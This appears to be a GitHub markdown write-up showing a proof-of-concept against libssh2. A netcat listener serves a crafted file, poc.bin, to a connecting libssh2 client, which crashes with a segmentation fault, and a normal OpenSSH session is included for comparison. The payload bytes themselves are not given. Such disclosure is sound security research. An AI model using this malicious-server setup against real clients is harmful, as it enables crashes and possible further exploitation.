Skip to content

Latest commit

 

History

History
executable file
·
64 lines (58 loc) · 2.35 KB

Libssh2.md

File metadata and controls

executable file
·
64 lines (58 loc) · 2.35 KB

Libssh2

Results

  • Netcat connection

    • Server:
    $ nc -nvlp 8022 < poc.bin
    Listening on [0.0.0.0] (family 0, port 8022)
    Connection from 172.168.1.68 45514 received!
    • Client::
    $ nc 172.168.1.83 8022 -v -w 3
    Connection to 172.168.1.83 8022 port [tcp/*] succeeded!
    SSH-2.0-libssh2_1.9.0_DEV
    �AAAAAAAAAAAAAAAAA
  • Normal ssh connection

    • Server:
    $ sudo /usr/sbin/sshd -D -d -p 8022
    debug1: sshd version OpenSSH_7.6, OpenSSL 1.0.2n  7 Dec 2017
    debug1: private host key #0: ssh-rsa HA256:Zt6cfRjk1eX1v8HhmLpTssaIlN6cER9Kh6Oq0aZaL24
    ( ... )
    debug1: Set /proc/self/oom_score_adj from 0 to -1000
    debug1: Bind to port 8022 on 0.0.0.0.
    Server listening on 0.0.0.0 port 8022.
    debug1: Bind to port 8022 on ::.
    Server listening on :: port 8022.
    (...)
    Connection from 172.168.1.68 port 46060 on 172.168.1.83 port 8022
    (...)
    Accepted password for guest from 172.168.1.68 port 46060 ssh2
    (...)
    Starting session: shell on pts/1 for guest from 172.168.1.68 port 46060 id 0
    (...)
    • Client::
    $ ssh [email protected] -p 8022
    [email protected]'s password: 
    Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-1022-raspi2 aarch64)
    (...)
  • SSH connection with client using Libssh2 and defective server

    • Server:
    $ nc -nvlp 8022 < poc.bin
    Listening on 0.0.0.0 22
    Connection received on 172.168.1.68 46304
    SSH-2.0-libssh2_1.8.2
    �
    �w��p���ah���+qo~diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1ssh-rsa,ssh-dss�aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc�aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbcqhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected],hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected]�԰it�
    • Client::
    $ ssh2 172.168.1.83 guest guest
    Segmentation fault (core dumped)